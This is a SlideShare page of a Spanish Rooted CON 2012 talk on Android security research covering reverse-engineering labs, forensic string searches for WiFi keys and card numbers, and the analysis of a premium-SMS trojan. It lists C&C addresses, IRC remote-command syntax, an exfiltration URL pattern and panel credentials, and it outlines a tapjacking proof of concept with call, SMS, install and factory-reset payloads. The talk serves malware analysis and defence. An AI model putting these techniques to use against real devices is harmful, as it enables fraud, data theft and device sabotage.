Pimp your Android
Sebastián Guerrero – sguerrero@isecauditors.com
Agenda
• Introducción
• Montando lab de investigación.
• Trasteando con aplicaciones.
• Análisis forense.
• Formar un zool...
Arquitectura
Fichero APK
• Es un fichero .zip falso
• Usado para empacar las aplicaciones
• Todo APK incluye:
• classes.dex
• resources...
AndroidManifest
Montando un laboratorio
• Utilizar la ISO Android Reverse Engineering (A.R.E.)
• Herramientas como Androguard, APKInspecto...
Trasteando con aplicaciones
aksmali
mali
nderstand
ndroidSDK
Eclipse
netbeans
ex2jar
JD-gui
proguArdwireshark
Montando un análisis dinámico
1. Creamos una máquina virtual usando el SDK.
2. Lanzamos el emulador y almacenamos las cone...
Simulando eventos
• Llamadas de teléfono
• gsm call p-n
• gsm accept p-n
• gsm cancel p-n
• SMS
• sms send prefix-number t...
Modus Operandi
1. AXMLPrinter2 – Extraemos la información del
AndroidManifest.xml
2. Dex2jar – Convertimos el fichero .dex...
Analizando la memoria
• Trabajamos con arquitectura ARM
• Dividida en cinco capas distintas
• Cada modelo es diferente, co...
Analizando la memoria
• ¿Qué requisitos necesito?
– Indispensable ser root en el teléfono:
– Tener disponible el Android D...
Tarjeta SIM
• Información a obtener
• Número IMSI.
• Información sobre localización.
• Información sobre tráfico SMS.
• In...
Una de strings
• Claves WiFi
– strings userdata.img | grep psk=
• Correos electrónicos
– strings userdata.img | egrep “[a-...
Una de BBDDs
• Constituye un alto porcentaje del análisis forense.
• Toda la información relevante y sensible se encuentra...
Encryp… What the fcuk!
• Llamadas realizadas (com.android.providers.contacts/databases – contacts2.db)
• Mensajes (com.and...
Encryp… What the fcuk!
• Configuración de email (com.google.android.email/databases – EmailProvider.db)
• Delicious (Fiche...
La memoria volátil
• Debemos de realizar sin tratar de alterar el estado actual del dispositivo.
– No podemos apagar o rei...
Volatilitux
• Pslist – Listado de los procesos que andan ejecutándose en memoria
• Memmap – Mapa de memoria de un proceso....
Si pierdes el teléfono…
Montando SelwoMarina
• Android Market
• Markets alternativos.
– Aptoide
– Blapkmarket
– snappzmarket
• Páginas de aplicaci...
Montando Selwomarina
• Organización de información
• Almacenamiento y búsqueda por características de las muestras.
• Tama...
Evolución del malware
Nombre Características Riesgo
AndroidOS.FakePlayer.a
AndroidOS_Droisnake.A
AndroidOS.FakePlayer.b
An...
Vectores de ataque
• Amenazas basadas en aplicaciones
• Malware
• Spyware
• Amenazas de privacidad
• Vulnerabilidades en a...
Medidas de seguridad
• Da igual si somos usuarios o una entidad corporativa.
• Los malos vienen a hacer daño.
• Tenemos un...
Medidas de seguridad
• Canal de comunicación a través de VPN y enrutar todo el tráfico.
• Implementar política de contrase...
Analizando algo nuevo
• Android.FoncySMS
• Kaspersky
• Risk Level 1: Muy bajo
• Descubierto: 15 Enero, 2012
• Actualizado:...
Información
• Investigada por la OCLCTIC.
• Investigación durante 2 meses.
• “Banda” compuesta por dos miembros (“Cerebro”...
Lista de permisos
• android.permission.READ_LOGS
• android.permission.READ_PHONE_STATE
• android.permission.WRITE_EXTERNAL...
Instalando la app
• Iniciar emulador
• Instalar la aplicación.
• Revisar el estado actual.
• Simular actividad.
• Observar...
Primer acercamiento
Preparando el terreno
Estructura de la aplicación
• Tras la ejecución inicial…
• Boomsh – ELF -32 bits LSB executable, ARM version 1 (SYSV), dyn...
Footer.png
1. Deja constancia de que el exploit ha tenido éxito.
2. Modifica los permisos de border01 a lectura/escritura ...
Footer.png (Round 2)
• IRCConnect – Conectar con un servidor IRC.
• IRCGenUser – Genera un usuario apoyándose en rand().
•...
Footer (La chicha)
1. Establece conexión con 192.68.196.198.
2. Genera nombre de usuario al azar.
3. Se conecta al canal #...
Oído cocina
• Comandos a ejecutar
– PRIVMGS #andros :[SH] - %COMMAND_TO_RUN%
– PRIVMGS #andros :[ID] - %REAL_USER_ID%
– PR...
Border01
• Permisos sospechosos
– android.permission.RECEIVE_SMS
– android.permission.SEND_SMS
– android.permission.INTERN...
AndroidMeActivity
1. Al iniciar la actividad se solicita el código ISO de la ciudad.
2. En base a esto, se establece un nú...
SMSReceiver
1. Se encarga de la lógica del envío de mensajes.
2. Se reservan dos campos; uno para el número del destinatar...
IRC Botnet
• Servidor: Irc.anonops.li / 6667
• Canal: #xxx
• User: user
• Pass: pass
“Desmontando cúpulas”
• ¿Objetivo?
– Mostrar cómo está organizado y pensado
un pequeño y simple C&C para Android.
• ¿Qué m...
Estructura
• BBDD: admin_123/123
• Panel: root/entermoney77
• Infecta varias plataformas
– Android: mms.apk
– Symbian – No...
Contenido
• Almacena la siguiente información:
– Fecha infección.
– IMEI teléfono.
– OS.
– IP.
– País
– Número
– Texto
• P...
TapJacking
• Vulnerabilidad Touch-Event Hijacking
• Mostramos al usuario una interfaz tapadera.
• Podemos obligar al usuar...
Funcionamiento
¿Cómo está organizado?
• Se han diseñado un total de 4 payloads
• CallPayload.java – Realiza llamadas al número de indicad...
¿Preguntas?
¡MUCHAS GRACIAS!
@0xroot
Upcoming SlideShare
Loading in...5
×

Pimp your Android. Rooted CON 2012.

230

Published on

Esta presentación hace un repaso sobre la seguridad en plataformas android, donde se profundiza en aspectos como: análisis estático de aplicaciones, análisis dinámico, análisis forense, detección de malware, descubrimiento de vulnerabilidades 0-day y desmantelamiento de centros de control de botnets.

Published in: Real Estate
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
230
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
12
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Pimp your Android. Rooted CON 2012.

  1. 1. Pimp your Android Sebastián Guerrero – sguerrero@isecauditors.com
  2. 2. Agenda • Introducción • Montando lab de investigación. • Trasteando con aplicaciones. • Análisis forense. • Formar un zoológico de malware. • Evolución del malware. • Medidas de seguridad. • Reverseemos algo nuevo. • Desmantelando un C&C • It’s 0-day time. 2
  3. 3. Arquitectura
  4. 4. Fichero APK • Es un fichero .zip falso • Usado para empacar las aplicaciones • Todo APK incluye: • classes.dex • resources.asc • /res • /META-INF • AndroidManifest.xml
  5. 5. AndroidManifest
  6. 6. Montando un laboratorio • Utilizar la ISO Android Reverse Engineering (A.R.E.) • Herramientas como Androguard, APKInspector, Apktool, AxmlPrinter, Dex2Jar, etc… • Espacio de trabajo ya configurado. • Ideal para máquinas virtuales. • Utilizar uno de los ports de Androix-x86. • Proyecto OpenSource. • Sistema operativo Android. • Entorno fácilmente configurable. • Fluidez. • Crearnos un lab a nuestra medida.
  7. 7. Trasteando con aplicaciones aksmali mali nderstand ndroidSDK Eclipse netbeans ex2jar JD-gui proguArdwireshark
  8. 8. Montando un análisis dinámico 1. Creamos una máquina virtual usando el SDK. 2. Lanzamos el emulador y almacenamos las conexiones en un pcap: • emulator –port n @device-name –tcpdump foo.pcap 3. Instalamos la aplicación • adb install appname.apk 4. Lanzamos pruebas sobre el dispositivo y la aplicación • adb shell monkey –v –p package.app n 5. Leemos los logs • adb shell logcat –d 6. Podemos apoyarnos en Wireshark para leer los logs de conexiones.
  9. 9. Simulando eventos • Llamadas de teléfono • gsm call p-n • gsm accept p-n • gsm cancel p-n • SMS • sms send prefix-number text • Emular velocidad de red • netspeed gsm n • netspeed umts n • Cambiar coordenadas GPS • geo fix -13… 21…
  10. 10. Modus Operandi 1. AXMLPrinter2 – Extraemos la información del AndroidManifest.xml 2. Dex2jar – Convertimos el fichero .dex en un fichero de clases .jar. JAD – Transformamos los ficheros .class en ficheros .jad 3. JDgui – Leemos el código almacenado en el fichero .jar. 4. Understand – Análisis estático del código. 5. Wireshark – Análisis dinámico del código.
  11. 11. Analizando la memoria • Trabajamos con arquitectura ARM • Dividida en cinco capas distintas • Cada modelo es diferente, con aplicaciones específicas. • Herramientas de pago. • ¿Qué podemos toquetear aquí? – Tarjeta SIM. – Memoria física (Interna&Externa). – Memoria volátil. (1) Proyecto Android-x86 http://www.android-x86.org/
  12. 12. Analizando la memoria • ¿Qué requisitos necesito? – Indispensable ser root en el teléfono: – Tener disponible el Android Debug Driver (ADB) – Es recomendable tener instalado un servicio SSH o FTP • ¿Por dónde empiezo? – Conocer cómo está estructurado el sistema. – Saber cuáles son los directorios asociados a los diferentes puntos de montaje. – Realizar la correlación (NanDroid || (DD && ADB pull)) • ¿Qué técnicas empleo? – Uso de strings y búsqueda de cadenas. – Análisis de las bases de datos. – File carving. – Análisis del sistema de ficheros.
  13. 13. Tarjeta SIM • Información a obtener • Número IMSI. • Información sobre localización. • Información sobre tráfico SMS. • Información sobre proveedor. • Información sobre llamadas. • Dispositivo DEKART (35€ ~ 60€) • Características • Dispositivo lectura/escritura USB. • Hace copias de seguridad. • Permite exportar la agenda • Aplicaciones • MOBILedit! • Forensic Card Reader • Oxygen • USIM Detective.
  14. 14. Una de strings • Claves WiFi – strings userdata.img | grep psk= • Correos electrónicos – strings userdata.img | egrep “[a-z A-Z_-.]+@[a-z A-Z-.]+.[a-z A-Z-.]+” • Imágenes JPG – strings data.img | grep -oE "(.*.jpe?g|.*.JPE?G)" • Inicios de sesión – Strings userdata.img | grep –n10 “login” • Números de teléfono – strings userdata.img | grep -oE "([0-9]{9})" • Tarjetas de crédito – strings userdata.img | grep -oE "^((4d{3})|(5[1-5]d{2})|(6011))-?d{4}-?d{4}- ?d{4}|3[4,7]d{13}$"
  15. 15. Una de BBDDs • Constituye un alto porcentaje del análisis forense. • Toda la información relevante y sensible se encuentra almacenada en estos ficheros. • Suelen encontrarse en /data/data • Backup con adb pull / SSH / FTP / Terminal Emulator… • Consultamos con SQLite3 / SQLviewer…
  16. 16. Encryp… What the fcuk! • Llamadas realizadas (com.android.providers.contacts/databases – contacts2.db) • Mensajes (com.android.providers.telephony/databases – mmssms.db) • Whatsapp (com.whatsapp/databases - mgstore.db – wa.db) • Tuenti
  17. 17. Encryp… What the fcuk! • Configuración de email (com.google.android.email/databases – EmailProvider.db) • Delicious (Fichero xml) • Facebook
  18. 18. La memoria volátil • Debemos de realizar sin tratar de alterar el estado actual del dispositivo. – No podemos apagar o reiniciar el terminal. – Nada de instalar o eliminar aplicaciones. – Cortar todo tipo de acceso a la red. – Modo avión. • Necesitamos ser root. • No disponemos de ninguna API que permita realizar esta labor. • ¿Soluciones? – No es posible acceder a /dev/mem por problemas de seguridad. – Emular dispositivo en /dev/fmem no es posible en Android • Función page_is_ram para comprobar si el desplazamiento a realizar pertenece a la memoria física o no, no existe en arquitectura ARM. • La herramienta DD sólo almacena enteros de 32 bits y desplazamientos más allá de 0x80000000 causan un integer overflow • Volatilitux al poder
  19. 19. Volatilitux • Pslist – Listado de los procesos que andan ejecutándose en memoria • Memmap – Mapa de memoria de un proceso. • Memdmp – Memoria direccionable de un proceso. • Filedmp – Dumpea un fichero abierto • Filelist – Muestra ficheros abiertos para un proceso dado
  20. 20. Si pierdes el teléfono…
  21. 21. Montando SelwoMarina • Android Market • Markets alternativos. – Aptoide – Blapkmarket – snappzmarket • Páginas de aplicaciones. – Mobilism.org – DroidAppz – AndroidFreeware – MalwareDump – Bazaar • Aplicaciones de terceros • Exploits
  22. 22. Montando Selwomarina • Organización de información • Almacenamiento y búsqueda por características de las muestras. • Tamaño, tipo, md5, sha1, tags, fechas… • Obtener, almacenar y recuperar elementos de las muestras. • Ficheros generados, Binarios desempaquetados, Exploits, cadenas embebidas. • Almacenar, buscar y devolver información sobre análisis • IDA Pro BD, notas de análisis, artículos y referencias, muestras de red, sistemas • Detección de firmas • Análisis automatizado • Diseño modularizado. • Características de análisis estático • Soporte de múltiples análisis de malware. • Aislamiento de entornos de análisis dinámico.
  23. 23. Evolución del malware Nombre Características Riesgo AndroidOS.FakePlayer.a AndroidOS_Droisnake.A AndroidOS.FakePlayer.b AndroidOS.FakePlayer.c Android.Geinimi Android.HongTouTou Android.Pjapps Android.DroidDream Android.BgServ Android.Zeahache Android.Walkinwat Android.Adsms Android.Zsone Android.Spacem Android.LightDD Android/DroidKungFu.A Nombre Características Riesgo Android.Basebridge Android.Uxipp Andr/Plankton-A Android.Jsmshider Android.GGTracker Android.KungFu Variants AndroidOS_Crusewin.A AndroidOS_SpyGold.A DroidDream Light Variant Android.Smssniffer Android.HippoSMS Android.Fokonge Android/Sndapps.A Android.Nickispy Android.Lovetrap Android.Premiumtext Android.NickiBot
  24. 24. Vectores de ataque • Amenazas basadas en aplicaciones • Malware • Spyware • Amenazas de privacidad • Vulnerabilidades en aplicaciones • Amenazas basadas en la web • Phishing • Drive-by-downloads • Exploits en navegadores • Amenazas basadas en las redes • Exploits para protocolos de red • Wi-fi sniffing • Amenazas físicas • Pérdida o robo del dispositivo
  25. 25. Medidas de seguridad • Da igual si somos usuarios o una entidad corporativa. • Los malos vienen a hacer daño. • Tenemos un tesoro entre nuestras manos. • Somos el eslabón débil. • Toda nuestra vida online (emails, banca, redes sociales, privacidad) está en nuestro teléfono.
  26. 26. Medidas de seguridad • Canal de comunicación a través de VPN y enrutar todo el tráfico. • Implementar política de contraseñas fuerte. • Deshabilitar servicios y dispositivos inseguros/innecesarios (GPS/Bluetooth/SDCard/etc…). • Capas de seguridad adicionales • Herramientas de privacidad, antivirus, borrado remoto, localización por GPS. • Deshabilitar instalación de software de terceros. • Habilitar servicios de acceso remoto; SSH, FTP, DropBear, etc…
  27. 27. Analizando algo nuevo • Android.FoncySMS • Kaspersky • Risk Level 1: Muy bajo • Descubierto: 15 Enero, 2012 • Actualizado: 30 Enero, 2012 • Actividad: com.android.bot • Descargas: 3370~
  28. 28. Información • Investigada por la OCLCTIC. • Investigación durante 2 meses. • “Banda” compuesta por dos miembros (“Cerebro” y técnico). • Envía SMS premium (4.5€). • 100.000€ 20/30€ por cabeza. • Se ha cobrado 2.000 víctimas desde verano del 2011. • Ciudades europeas y Canadá.
  29. 29. Lista de permisos • android.permission.READ_LOGS • android.permission.READ_PHONE_STATE • android.permission.WRITE_EXTERNAL_STORAGE • android.permission.INTERNET • android.permission.VIBRATE • android.permission.WAKE_LOCK • android.permission.ACCESS_WIFI_STATE • android.permission.CHANGE_WIFI_STATE • android.permission.CHANGE_NETWORK_STATE • android.permission.ACCESS_NETWORK_STATE • android.permission.MODIFY_AUDIO_SETTINGS com.android.vending.CHECK_LICENSE
  30. 30. Instalando la app • Iniciar emulador • Instalar la aplicación. • Revisar el estado actual. • Simular actividad. • Observar el nuevo estado. • Analizar
  31. 31. Primer acercamiento
  32. 32. Preparando el terreno
  33. 33. Estructura de la aplicación • Tras la ejecución inicial… • Boomsh – ELF -32 bits LSB executable, ARM version 1 (SYSV), dynamically linked (uses shared library). • Border01.png – Zip archive data. • Footer01.png – ELF -32 bits LSB executable, ARV version 1 (SYSV), dynamically linked (uses shared libs). • Header01.png – ELF – 32bits LSB executable, ARM version 1 (SYSV), dinamically linked (uses shared library). • Rooted - Text file.
  34. 34. Footer.png 1. Deja constancia de que el exploit ha tenido éxito. 2. Modifica los permisos de border01 a lectura/escritura (propietario) y escritura (resto). 3. Instala border01 lanzando el administrador de paquetes
  35. 35. Footer.png (Round 2) • IRCConnect – Conectar con un servidor IRC. • IRCGenUser – Genera un usuario apoyándose en rand(). • IRCHandler – Manejador de errores. • IRCLogin – Establece sesión con el canal IRC. • IRCPrivmsgParse&IRCParseLine – Parsean las órdenes recibidas. • IRCSend – Realiza envío de mensajes.
  36. 36. Footer (La chicha) 1. Establece conexión con 192.68.196.198. 2. Genera nombre de usuario al azar. 3. Se conecta al canal #andros. 4. Queda a la escucha de recibir órdenes. 5. Parsea las líneas que comienza por PRIVMGS
  37. 37. Oído cocina • Comandos a ejecutar – PRIVMGS #andros :[SH] - %COMMAND_TO_RUN% – PRIVMGS #andros :[ID] - %REAL_USER_ID% – PRIVMGS #andros :[EXIT] – exiting ordered…
  38. 38. Border01 • Permisos sospechosos – android.permission.RECEIVE_SMS – android.permission.SEND_SMS – android.permission.INTERNET
  39. 39. AndroidMeActivity 1. Al iniciar la actividad se solicita el código ISO de la ciudad. 2. En base a esto, se establece un número premium u otro. 3. Se realizan 5 envíos a dicho número. • Ciudades a las que realiza el envío • Spain Number: 35024 Message: GOLD • Great Britain Number: 60999 Message: SP2 • Morocco Number: 2052 Message: CODE • Sierra Leone Number: 7604 Message: PASS • Romania Number: 1339 Message: PASS • Norway Number: 2227 Message: PASS • Sweden Number: 72225 Message: PASS • United States Number: 23333 Message: PASS
  40. 40. SMSReceiver 1. Se encarga de la lógica del envío de mensajes. 2. Se reservan dos campos; uno para el número del destinatario y otro para el contenido. 3. Sí el SMS provece del número 81083, 3075, 64747, 60999, 63000, 35024, 2052, 7064, 1339, 9903, 2227, 72225, 23333, el broadcast se corta. 4. Establece conexión con 46.166.146.102 y envía el SMS recibido y el número de origen. 1. http://46.166.146.102/?=STR2(cuerpo mensaje)///STR1(número)
  41. 41. IRC Botnet • Servidor: Irc.anonops.li / 6667 • Canal: #xxx • User: user • Pass: pass
  42. 42. “Desmontando cúpulas” • ¿Objetivo? – Mostrar cómo está organizado y pensado un pequeño y simple C&C para Android. • ¿Qué malware? – Simple Android SMS Trojan. • ¿Funcionamiento? 1. Se instala en el teléfono una aplicación infectada. 2. Espera a que se realice la activación. 3. Se forma un string con el IMEI del usuario y su teléfono. 4. Se envía al C&C y se almacena en una BBDD.
  43. 43. Estructura • BBDD: admin_123/123 • Panel: root/entermoney77 • Infecta varias plataformas – Android: mms.apk – Symbian – Nokia s60v3, s60v5 – mms.sis – Resto de plataformas con soporte java – mms.jar
  44. 44. Contenido • Almacena la siguiente información: – Fecha infección. – IMEI teléfono. – OS. – IP. – País – Número – Texto • Panel en ruso y sólo registra teléfonos de Rusia. • Procedencia rusa.
  45. 45. TapJacking • Vulnerabilidad Touch-Event Hijacking • Mostramos al usuario una interfaz tapadera. • Podemos obligar al usuario a: – Pagarnos unas vacaciones. – Obtener todos los datos del teléfono. – Capturar los movimientos del dispositivo. – Instalar aplicaciones saltándonos los permisos. – Creatividad… • Basada en toasts. • Bueno… ¿Y Google?
  46. 46. Funcionamiento
  47. 47. ¿Cómo está organizado? • Se han diseñado un total de 4 payloads • CallPayload.java – Realiza llamadas al número de indicado. • MarketPayload.java – Descarga e instala aplicaciones del market. • ResetPayload.java – Devuelve al estado de fábrica el teléfono. • SMSPayload.java – Envía un mensaje de texto al número indicado. • TweetPayload.java – Publica un tweet en una cuenta de usuario con sesión iniciada. • http://twitter.com/home?status=Yo me he comida más de una concha Codan por día • Está diseñado para que se puedan añadir payloads por el usuario de forma sencilla. • La estructura interna es la siguiente: • Main.java – Ejecuta el servicio y carga los payloads. • MalwarePayload.java – Abstracción para implementar más fácilmente los payloads. • MalwareService.java – Crea el toast e inicia el proceso de tap-jack. • main.xml – Tiene el layout de la aplicación, lanzando con un evento onClick cada payload. • strings.xml – Contiene las cadenas que son utilizadas en la aplicación.
  48. 48. ¿Preguntas? ¡MUCHAS GRACIAS! @0xroot
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×